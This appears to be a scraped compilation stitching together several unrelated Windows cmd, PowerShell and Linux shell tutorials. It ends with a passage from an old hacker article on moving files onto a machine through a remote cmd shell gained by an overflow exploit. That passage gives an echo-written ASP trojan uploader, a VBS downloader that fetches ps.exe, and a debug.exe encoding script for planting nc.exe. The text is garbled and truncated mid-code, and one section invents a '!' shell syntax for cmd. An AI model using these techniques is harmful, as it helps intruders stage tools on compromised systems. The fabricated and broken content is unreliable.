Do All in Cmd Shell
- 格式:pdf
- 大小:60.89 KB
- 文档页数:11
cmd循环语句
CMD循环是一种使用Windows命令提示符命令控制循环中命令的执行的可执行文件。
它允许您在命令行环境中执行一组命令,而无需复制和粘贴每个命令。
一旦CMD循环文件被创建,您可以简单地双击即可运行。
它也可以通过在命令行中键入特定的命令来执行它们。
CMD循环可以帮助您提高工作效率,允许您重复执行各种任务,而无需费心重复输入命令行。
它还可以帮助您自动化重复性任务,实现更高效的工作流程。
CMD循环使用简单的文本文件,包含在每一行的命令,并用FOR%G%,DO%G%标记,以及一些可选的参数和变量来控制循环。
一旦文件被创建,您可以使用以下命令来执行它:
FOR /F %%G IN (filename.txt) DO %%G
您也可以使用其他参数和变量来指定如何执行循环中的命令。
例如,您可以使用skip和eol参数来跳过文件中的某些行,然后执行循环:
FOR /F 'skip=2 eol=;' %%G IN (filename.txt) DO %%G 您还可以使用FOR /R%G参数在另一个文件夹中运行循环:
FOR /R %%G IN (*.txt) DO %%G
CMD循环非常实用,可以帮助您提高工作效率,允许您自动化重复的任务,并使您可以更有效地管理大量文件。
- 1 -。
cmd批处理命令及powershellPowershell查询IP地址及主机名信息:1.foreach($ipv4 in (ipconfig) -like '*IPv4*') { ($ipv4 -split ' : ')[-1]}2.Get-WMIObject Win32_ComputerSystem |select Name3.$env:COMPUTERNAME4[net.dns]::GetHostAddresses('') | select -ExpandProperty IPAddressToString | select -index 5批处理常⽤命令及⽤法⼤全/thread-39-1-1.html批处理命令获取ip地址:powershell获取ip地址命令:[net.dns]::GetHostAddresses('') | select -ExpandProperty IPAddressToStringPS C:\Users\test001> [net.dns]::GetHostAddresses('') | select -ExpandProperty IPAddressToString | select -index 1 POWERshell命令讲解执⾏powershell脚本/powershell-invoking-files-and-scripts.htmlPowershell拥有⾃⼰的脚本,扩展名为“.ps1”powershell编写和运⾏脚本POWERshell命令讲解Powershell获取软件安装列表cmd获取软件列表python获取软件列表⼀键获取软硬件配置及管理员组bat常⽤命令————————————————————————————————————————————————————定义 set a=224输出 echo %a%显⽰⽂件内容 type a.txt2、添加默认驱动器c:\Users\Administrator>net use l: \\192.168.182.133\share "P@ssw0rd" /user:administrator命令成功完成。
读取cmd命令返回值最后一行-概述说明以及解释1.引言概述部分的内容可以对本篇长文进行一个简要介绍,概括文章主题以及主要内容。
以下是一个可能的编写方式:1.1 概述随着计算机技术的快速发展,命令行界面在操作系统和软件开发中扮演了重要的角色。
在Windows操作系统中,Command Prompt(CMD)作为命令行界面工具,具有强大的功能和广泛的应用场景。
CMD命令可以帮助我们完成各种任务,如文件处理、系统配置、软件调试等。
在日常使用CMD命令时,我们通常需要获取命令的返回值,以便根据返回值做出进一步的处理。
然而,CMD命令返回的结果通常是一系列文本行,我们可能只关心其中的最后一行。
本文将介绍如何读取CMD命令返回值中的最后一行,以及一些获取CMD命令返回值的常用方法。
通过本文的学习,读者将掌握读取CMD命令返回值最后一行的技巧,并且了解CMD命令的基本概念和用途。
此外,我们还将提供一些使用这些技巧的实际应用场景,以及未来对于CMD命令的展望。
接下来,我们将首先介绍CMD命令的基本概念和用途,以帮助读者全面了解CMD命令的特点和使用方法。
然后,我们将详细探讨读取CMD 命令返回值的几种方法,并提供了获取最后一行的技巧。
最后,我们将总结本文的主要内容,并讨论CMD命令在不同领域的应用前景。
通过阅读本文,读者将能够更好地理解和应用CMD命令,并且在实际工作和学习中更加高效地处理命令行任务。
让我们现在开始探索吧!1.2 文章结构文章结构部分的内容可以包括以下内容:文章结构是指整篇文章的逻辑组织和布局方式。
在撰写一篇长文时,明确的文章结构可以为读者提供清晰的导引,使其更容易理解文章的内容和思路。
通常,一篇长文的文章结构可以分为引言、正文和结论三个部分。
下面将对这三个部分进行详细介绍。
1. 引言部分:引言部分是文章的开篇,目的是引起读者的兴趣,并且提出文章的背景和问题。
在本文中,可以介绍一下CMD命令的重要性和使用场景,引出本文要解决的问题:如何读取CMD命令的返回值的最后一行。
cmd 调用shell指令-回复如何使用cmd调用shell指令对于使用Windows操作系统的用户来说,CMD(命令提示符)是一个非常常用的工具。
它可以让用户通过文本界面输入指令来执行各种任务,其中包括调用shell指令来完成更加复杂的操作。
本文将一步一步介绍如何使用CMD来调用shell指令。
首先,我们需要打开CMD控制台。
可以在开始菜单中搜索"CMD"或按下Win+R键组合,在弹出的运行窗口中输入"cmd",然后按下回车键。
接下来,CMD控制台窗口将显示一个类似于文本编辑器的界面。
在这里,我们可以输入各种命令来执行所需的操作。
让我们以一个简单的示例为例,演示如何使用CMD调用shell指令。
假设我们要使用CMD来调用shell指令来查看Windows操作系统的版本信息。
首先,我们需要使用"ver"指令来查看Windows的版本信息。
在CMD控制台中,只需输入"ver",然后按下回车键,即可显示操作系统的版本信息。
这只是一个简单的示例,接下来我们将介绍如何使用CMD调用更多复杂的shell指令。
在CMD控制台中,可以使用"!"符号来调用shell指令。
例如,我们可以使用"!dir"指令来查询当前目录下的所有文件和文件夹。
该指令将调用shell中的"dir"指令,并将输出结果显示在CMD控制台窗口中。
另外,如果要在CMD中调用的shell指令包含路径信息,则需要在路径前加上"!"符号。
例如,要调用C:\Windows\System32目录下的shell指令,可以输入"!C:\Windows\System32\command",然后按下回车键。
除了使用"!"符号外,我们还可以使用其他方法来调用shell指令。
Table of ContentsAbout1 Chapter 1: Getting started with cmd2 Remarks2 Examples2 Opening a Command Prompt2 Navigating in cmd2 Commands in CMD3 Features8 Hello World8 Comments9 Chapter 2: Using xcopy command11 Introduction11 Parameters11 Examples11 Copying multiple files including tree structure11 Credits12AboutYou can share this PDF with anyone you feel could benefit from it, downloaded the latest version from: cmdIt is an unofficial and free cmd ebook created for educational purposes. All the content is extracted from Stack Overflow Documentation, which is written by many hardworking individuals at Stack Overflow. It is neither affiliated with Stack Overflow nor official cmd.The content is released under Creative Commons BY-SA, and the list of contributors to each chapter are provided in the credits section at the end of this book. Images may be copyright of their respective owners unless otherwise specified. All trademarks and registered trademarks are the property of their respective company owners.Use the content presented in this book at your own risk; it is not guaranteed to be correct nor accurate, please send your feedback and corrections to ********************Chapter 1: Getting started with cmdRemarksThis section provides an overview of what cmd is, and why a developer might want to use it.It should also mention any large subjects within cmd, and link out to the related topics. Since the Documentation for cmd is new, you may need to create initial versions of those related topics. ExamplesOpening a Command PromptThe command prompt comes pre-installed on all Windows NT, Windows CE, OS/2 and eComStation operating systems, and exists as cmd.exe, typically located inC:\Windows\system32\cmd.exeOn Windows 7 the fastest ways to open the command prompt are:•Press , type "cmd" and then press Enter.•Press +R, type "cmd" then then press Enter.It can also be opened by navigating to the executable and double-clicking on it.In some cases you might need to run cmd with elevated permissions, in this case right click and select "Run as administrator". This can also be achieved by pressing Control+ Shift+Enter instead of Enter.Navigating in cmdOne of the most common things you'll need to do in the command prompt is navigate your file system. To do this, we'll utilize the cd and dir keywords. Start by opening up a command prompt using one of the methods mentioned here. You most likely see something similar to what's below, where UserName is your user.C:\Users\UserName>Regardless of where in your file structure you are, if your system is like most, we can start with this command:cd C:\This will change your current directory to the C:\ drive. Notice how the screen now looks like thisC:\>Next, run a dir so we can see anything in the C:\ drivedirThis will show you a list of files and folders with some information about them, similar to this:There's lots of good info here, but for basic navigation, we just care about the right-most column. Notice how we have a Users folder. That means we can run thiscd UsersNow if you run dir again, you'll see all the files and folders in your C:\Users directory. Now, we didn't find what we wanted here, so let's go back to the parent folder. Rather than type the path to it, we can use .. to go up one folder like socd ..Now we are back in C:\. If you want to go up multiple folders at once, you can put a backslash and another set of periods like so: cd ..\.., but we only needed one folder.Now we want to look in that Program Files folder. To avoid confusing the system, it's a good idea to put quotes around the directories, especially when there are spaces in the name. So this time,we'll use this commandC:\>cd "Program Files"Now you are in C:\Program Files> and a dir command now will tell you anything that's in here.So, say we get tired of wandering around to find the folder and looked up exactly where we were needing to go. Turns out it's C:\Windows\Logs Rather than do a .. to Windows to Logs, we can just put the full path like so:cd "C:\Windows\Logs"And that's the basics of navigating the command prompt. You can now move through all your folders so you can run your other commands in the proper places.Commands in CMDThe available commands will be displayed, including a brief description, in tabular format.In Windows 10 the following commands are listed:To get more insight about a specific command use the /? option, e.g. the tree command gives: tree /?Graphically displays the folder structure of a drive or path.TREE [drive:][path] [/F] [/A]/F Display the names of the files in each folder./A Use ASCII instead of extended characters.FeaturesMicrosoft Command Prompt is a command-line interpreter (CLI) for the Windows operating systems.A CLI is program intended primarily to read operating system instructions typed on a keyboard by the user. It is therefore addressed also as a command-line interface, to contrast it with graphical interfaces.As these interfaces (whether textual or graphical) shield the user from directly accessing to the operating system kernel, they are also said shells.Given the name of the Command Prompt executable file, cmd.exe, the Command Prompt is friendly named cmd. Given its OS piloting role, it is also said the console.Like other shells, cmd can read batch of instructions from a file. In this case the cmd shell acts as a language interpreter and the file content can be regarded as an actual program. When executing these batch programs, there is no intermediate compilation phase. They are typically read, interpreted and executed line by line. Since there is no compilation, there is no production of a separated executable file. For this reason the programs are denoted batch scripts or shell scripts. Note that the instructions entered interactively might have a slightly different syntax from those submitted as a script, but the general principle is that what can be entered from the command line can be also put in a file for later reuse.Hello WorldCommand Prompt batch scripts have extension .cmd or .bat, the latter for compatibility reasons.To create a hello-word-script, you first need a place where to type it. For simple scripts, also the Windows Notepad will do. If you are serious about shell scripting, you need more effective tools. There are anyway several free alternatives, such as Notepad++.In your designated editor type:echo Hello WorldpauseSave it as hello.cmdIf you are using "Notepad" as an editor, you should pay much attention to the saved name, as Notepad tends to add always a .txt extension to your files, which means that the actual name of your file might be hello.cmd.txt. To avoid this, in the save dialog box:1.In the File name field enter the name in double quotes, e.g. "hello.cmd"In the Save as type field select All Files, instead of the default Text Document option.2.If the file has been saved properly, its icon should be similar to (Windows Vista):You may also consider to disable the option "Hide extension for known file types" in File Explorer folder view options. In this case, file names are always displayed with their extensions.To execute hello.cmd there are two possibilities. If you are using the Windows graphical shell, just double click on its icon.If you want to use the Command Prompt itself, you must first identify the directory where you saved hello.cmd. In this regard, if you open File Explorer with +E. In the windows listing files, you normally read the name of the directory path containing them. You can therefore identify the directory of hello.cmd. Windows directory names tend to be quite long and typing them is error prone. It is better if you select and copy the directory path in the clipboard for later pasting.Start the Command Prompt. You read a line similar to this.Microsoft Windows [Version ...](c) ... Microsoft Corporation. All rights reserved.C:\Users\...>The version/year of Windows of course depends on yours. In the the final line, before >, you read the path of the directory which is current. You should make current the directory where your script is. For this reason enter the change directory command cd, using a line similar to the following:cd <dirpath>Instead of <dirpath>, paste the name of the directory you previously copied.To paste the directory path, in Windows 10, you just need to type Ctrl-C, as you would in an editor. For older systems you should be able to do this by right clicking in the cmd window.After entering the command, note that current path, before >, changes accordingly.You can now run your hello script by simply entering:helloCommentsThe script prints an output similar to:C:\Users\...>echo Hello WorldHello WorldC:\Users\...>pausePress any key to continue . . .The lines hosting the symbol > restate the script instructions as if you had entered interactively. This can be disabled writing:@echo offas the first line of your script. This might reduce the clutter, but you have less hints on what is going on, with respect to those script commands that do not give visible outputs.The last command, pause, prompts you to hit any key. When you do, you exit hello.If you run hello from the console, you don't really need it, because, when hello terminates its execution, cmd.exe remains open and you can to read hello output. When double-clicking in Explorer, you start cmd.exe for the time necessary to execute hello. When hello terminates, cmd.exe does the same and you have no possibility to read hello output. pause command prevents hello from exiting until you hit a key, which gives also the possibility to read the output.Finally, despite the name of the script is hello.cmd, it is not necessary to type the whole name, its hello stem is sufficient. This mechanism works for executables too, with extension .exe. What if there is a script hello.cmd and an executable hello.exe in the same directory? The former has priority in the Command Prompt, so hello.cmd will be executed.Read Getting started with cmd online: https:///cmd/topic/2548/getting-started-with-cmdChapter 2: Using xcopy commandIntroductionXcopy, copies files and directories, including subdirectories.ParametersExamplesCopying multiple files including tree structureIf you want to xcopy files with specific type to a new folder keeping the current folder structure you need only to do thisxcopy [SourcePath]*.mp3 [DestinationPath] /syRead Using xcopy command online: https:///cmd/topic/5123/using-xcopy-commandCredits。
必学cmd命令解析大全本文是小编给大家介绍的cmd命令解析大全,防黑必学,欢迎大家阅读,希望大家多学习。
命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。
前面两种相对简单,本文只介绍两个网络配置工具。
自带的关于网络的命令行工具很多,比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat,还有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh......这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。
前面两种相对简单,本文只介绍两个网络配置工具。
Windows脚本很多事用脚本来做是很简洁的。
下面给出几个常用脚本的echo版。
1,显示系统版本@echo for each ps in getobject _ >ps.vbs @echo("winmgmts://./root/cimv2:win32_operatingsystem").instances_ >>ps.vbs @echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs cscript //nologo ps.vbs & del ps.vbs2,列举进程 @echo for each ps in getobject _ >ps.vbs @echo ("winmgmts://./root/cimv2:win32_process").instances_ >>ps.vbs @echo wscript.echo ps.handle^&vbtab^&^&vbtab^&ps.executablepath:ne xt >>ps.vbs cscript //nologo ps.vbs & del ps.vbs3,终止进程 @echo for each ps in getobject _ >pk.vbs @echo ("winmgmts://./root/cimv2:win32_process").instances_ >>pk.vbs @echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs 要终止PID为123的进程,使用如下语法: cscript pk.vbs 123 如果显示一个0,表示终止成功。
cmd的用法《CMD用法全知道》一、基本用法1. 打开CMD- 在Windows系统中,你可以通过多种方式打开命令提示符(CMD)。
一种简单的方法是按下Win+R键,然后在弹出的“运行”对话框中输入“cmd”,再回车,就像打开一扇神秘的技术大门。
这就好比你找到了通往魔法世界的入口,是不是很神奇?- 你还可以在开始菜单中搜索“命令提示符”,然后点击它来打开。
这就像是在一堆宝藏里寻找那把特殊的钥匙一样。
2. 基本命令结构- CMD命令通常由命令名和参数组成。
例如,“dir”这个命令,它用来列出当前目录下的文件和文件夹。
就像你让一个小助手(CMD)去查看一个盒子(当前目录)里都有哪些东西(文件和文件夹)。
- 有些命令可能有多个参数。
比如“copy”命令,如果你想把一个文件从一个地方复制到另一个地方,你可能会像这样使用它:“copyC:\source\file.txt D:\destination”。
这就像是让一个快递员(CMD)把一个包裹(文件)从一个地址(源路径)送到另一个地址(目标路径)。
3. 目录操作- 要切换目录,你可以使用“cd”命令。
如果我想进入名为“Documents”的文件夹,我会输入“cd Documents”(假设我已经在正确的上级目录下)。
这就像在迷宫(文件系统)里从一个房间走到另一个房间。
- 如果要返回上一级目录,就用“cd..”。
这就像是你发现走错了房间,然后退回到上一个房间。
4. 查看帮助- 当你不知道某个命令怎么用时,你可以使用“/? ”参数来查看帮助。
例如,“dir /? ”会显示“dir”命令的详细用法说明。
这就像你遇到难题时,向一本魔法书(命令帮助)寻求答案。
二、固定搭配1. 文件操作固定搭配- “del”命令用于删除文件。
如果你想删除一个名为“test.txt”的文件,你可以输入“del test.txt”。
这就像你决定扔掉一件不需要的东西一样干脆。
但是要小心哦,一旦删除就很难恢复了,就像把东西扔进了一个无底洞。
必学cmd命令解析大全本文是小编给大家介绍的cmd命令解析大全,防黑必学,欢迎大家阅读,希望大家多学习。
命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。
前面两种相对简单,本文只介绍两个网络配置工具。
自带的关于网络的命令行工具很多,比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat,还有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh......这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。
前面两种相对简单,本文只介绍两个网络配置工具。
Windows脚本很多事用脚本来做是很简洁的。
下面给出几个常用脚本的echo版。
1,显示系统版本@echo for each ps in getobject _ >ps.vbs @echo ("winmgmts://./root/cimv2:win32_operatingsystem&qu ot;).instances_ >>ps.vbs @echo wscript.echo ps.caption2:win32_process").instances_ >>ps.vbs @echo wscript.echo ps.handlegt;pk.vbs @echo("winmgmts://./root/cimv2:win32_process").insta nces_ >>pk.vbs @echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs 要终止PID为123的进程,使用如下语法:cscript pk.vbs 123 如果显示一个0,表示终止成功。
如何在Windows CMD命令中执行批量操作在Windows操作系统中,CMD命令是一种非常强大的工具,它可以帮助我们快速完成各种任务。
在CMD命令中执行批量操作可以极大地提高我们的工作效率。
本文将介绍一些常用的方法和技巧,帮助读者更好地利用CMD命令来批量处理任务。
一、使用FOR循环批量操作文件FOR循环是CMD命令中非常常用的一个功能,它可以帮助我们对文件进行批量操作。
下面是一个简单的例子,演示如何使用FOR循环批量重命名文件。
```FOR %%G IN (*.txt) DO (REN "%%G" "new_%%G")```上述命令会将当前目录下所有的txt文件重命名为以"new_"为前缀的文件名。
通过修改REN命令的参数,我们可以实现更多的批量操作,比如删除文件、移动文件等。
二、使用管道符号(|)实现多个命令的组合CMD命令中的管道符号(|)可以将一个命令的输出作为另一个命令的输入。
这个特性可以帮助我们实现多个命令的组合,从而实现更复杂的批量操作。
下面是一个例子,演示如何使用管道符号将文件内容复制到剪贴板中:```TYPE file.txt | CLIP```上述命令会将file.txt文件的内容复制到剪贴板中。
通过组合不同的命令,我们可以实现更多的批量操作,比如筛选文件、统计文件行数等。
三、使用IF语句实现条件判断IF语句是CMD命令中的条件判断语句,它可以帮助我们根据不同的条件执行不同的操作。
下面是一个例子,演示如何使用IF语句批量删除文件。
```FOR %%G IN (*.txt) DO (IF %%~zG LSS 1024 (DEL "%%G"))```上述命令会删除当前目录下所有大小小于1KB的txt文件。
通过修改IF语句的条件,我们可以实现更多的批量操作,比如移动文件、复制文件等。
四、使用批处理文件实现自动化操作批处理文件是一种包含一系列CMD命令的文本文件,它可以实现自动化的批量操作。
shell中的for、while循环及if语句shell与其他语⾔⼀样也⽀持for、while循环for循环的⼀般格式如下:1 #!/bin/sh23for变量in列表4do5 command 16 command 27 command 18 .........9 command n10done列表是⼀组值(数字、字符串等)组成的序列,每个值通过空格分隔。
每循环⼀次,就将列表中的下⼀个值赋给变量。
列表也可以是⼀个⽂件:in 列表是可选的,如果不⽤它,for 循环使⽤命令⾏的位置参数。
1 #!/bin/sh23for line in12345674do5echo"line is $line"6done结果:[root@localhost 1st]# sh test.shline is 1line is 2line is 3line is 4line is 5line is 6line is 7下⾯⽤for循环读⼀个⽂件:查看⽂件内容1 [root@localhost 1st]# cat test.txt2 hello3 wolrd4 hello5 shell6 [root@localhost 1st]#code:1 #!/bin/sh23 FILE=./test.txt45for line in $(<$FILE)6do7echo"line is: $line"8doneResults:1 [root@localhost 1st]# sh xx.sh2 line is: hello3 line is: wolrd4 line is: hello5 line is: shell6 [root@localhost 1st]#while循环的⼀般格式如下:1while command2do34 statement56done3 i=04sum=05while [ $i -le 100 ]6do7sum=$(($sum + $i))8 i=$(($i + 1))9done10echo"sum is $sum"rusults:1 [root@localhost 1st]# sh xx.sh2sum is 50503 [root@localhost 1st]#if语句的⼀般格式如下:1if ....; then2 ....3elif ....; then4 ....5else6 ....7fiif 条件语句:⽂件表达式:1 [ -f "somefile" ] : 判断是否是⼀个⽂件2 [ -x "/bin/ls" ] : 判断/bin/ls是否存在并有可执⾏权限3 [ -n "$var" ] : 判断$var变量是否有值4 [ "$a" = "$b" ] : 判断$a和$b是否相等5 -r file ⽤户可读为真6 -w file ⽤户可写为真7 -x file ⽤户可执⾏为真8 -f file ⽂件为正规⽂件为真9 -d file ⽂件为⽬录为真10 -c file ⽂件为字符特殊⽂件为真11 -b file ⽂件为块特殊⽂件为真12 -s file ⽂件⼤⼩⾮0时为真13 -t file 当⽂件描述符(默认为1)指定的设备为终端时为真字符串表达式:[string string_operator string]这⾥string_operator可为如下⼏种:1 = 两个字符串相等。
主页安全文档 安全工具 安全漏洞 漏洞利用 红盟作品 开放项目 红盟社区 关于我们 递交文章文章总数: 63 篇 本类文章: 21 篇 关键字所有分类搜索快速通道红盟公告新手上路漏洞分析工具介绍安全配置编程技术安全技术<= 业界动态文档分类如何利用黑客技术跟踪并分析一名目标人物有关无线安全与黑客的话题让我们回归(by 默难)通用ShellCode 深入剖析[转]FormatString 漏洞介绍/总结(一)结合实例解读ELF 文件-阅读笔记(1) 本类热门提交文章: 艰苦 提交日期: 2004-05-14 文章属性: 转载 文档类别: 安全技术 浏览次数: 今1次/总2283次 目录 1,前言 2,文件传输 3,系统配置 4,网络配置 5,软件安装 6,Windows 脚本 7,附言 前言 Cmd Shell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。
本文旨在介绍和总结一些在命令行下控制Windows 系统的方法。
这些方法都是尽可能地利用系统自带的工具实现的。
文件传输 对于溢出漏洞获得的cmd shell ,最大的问题就是如何上传文件。
由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。
再加上WinXP 系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。
ftp 和tftp 是两种可行的方法,介于其已被大家熟知,本文就不介绍了。
还有三种大家熟悉的办法,作为总结我再提一下: 1,用Echo 命令写ASP 木马。
前提当然是目标主机上已经安装了IIS 。
一般的ASP 木马“体积”较大,不适合直接用echo 命令写入文件,这里我提供一个小巧的。
直接给出echo 版:@echo ^ >up.asp注意,只有一行,中间没有回车符。
生成的up.asp 不能用浏览器访问,只能用下面这个脚本:with wscriptif .arguments.count>dl.vbs@echo w.open "get",.arguments(0),0:w.send:if w.status^>200 then .echo"Error:"+w.status:.quit>>dl.vbs@echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs举例——下载ps.exe 并保存到c:\path 下:Do All in Cmd Shellcscript dl.vbs/soft/ps.exe c:\path\ps.exe注意,这是在远程shell中执行的。
4,Echo经过编码的任何文件,再用脚本+debug还原。
前面两个办法都不能保证穿过防火墙。
而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。
如果目标主机没有解压工具,还是没辙。
那么只有出“杀手锏”了!echo命令加重定向x作符可以写入ASCII码小于128的字符,但大于等于128的不行。
只有将本地文件重新“编码”为可显示的字符,才能方便地写入远程主机。
首先能想到的就是base64编码,即email附件的编码方式。
但vbs不支持位x作,因此编码和解码较复杂。
更麻烦的是,脚本以二进制流方式处理文件的能力很差。
(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。
二进制数据流可以用midb函数转成字符串,但反过来不行。
我花了两天时间,还是没能解决这个问题。
如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。
)无奈只有请debug.exe出马了。
原理很多人都知道,我不介绍了,直接给出成果——编码脚本:fp=wscript.arguments(0)fn=right(fp,len(fp)-instrrev(fp,"\"))with createobject("adodb.stream").type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)end withsll=sl mod 65536:slh=sl\65536with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true).write "@echo str="""for i=1 to slbt=ascb(midb(str,i,1))if bt>debug.vbs"+vbcrlf+"@echo +"""next.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs".writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp"""&fn&"""&del debug.vbs"end with将其保存为echo.vbs。
假设要上传nc.exe,那么在本地命令行输入命令:cscript echo.vbs nc.exe也可以直接把要传输的文件的图标拖放到脚本文件的图标上。
稍等一会儿,在当前目录下将生成一个nc.exe.bat。
用记事本等编辑工具打开它,可以看到如下内容:@echo str="4D5A90000300000004000000FFFF0000B80000000000 0000400000000000000000000000000000000000000000000 000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A 2400000000000000"_>>debug.vbs@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000 4000000000000000030010000040000000000000300000000 0010000010000000001000001000000000000010000000000 0000000000000"_>>debug.vbs@echo +"002001003C0000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000 0000000000000000000000000000000A02101006401000000 00000000000000000000000000000000000000000000002E7 4657874000000"_>>debug.vbs@echo +"70970000001000000098000000040000000000000000000 000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C0 7000000200100"_>>debug.vbs……………………(省略若干行)…………@echo +"">>debug.vbs@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:endwith>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp"NC.EXE"&del debug.vbs全选-》复制-》切换到远程命令行窗口-》粘贴。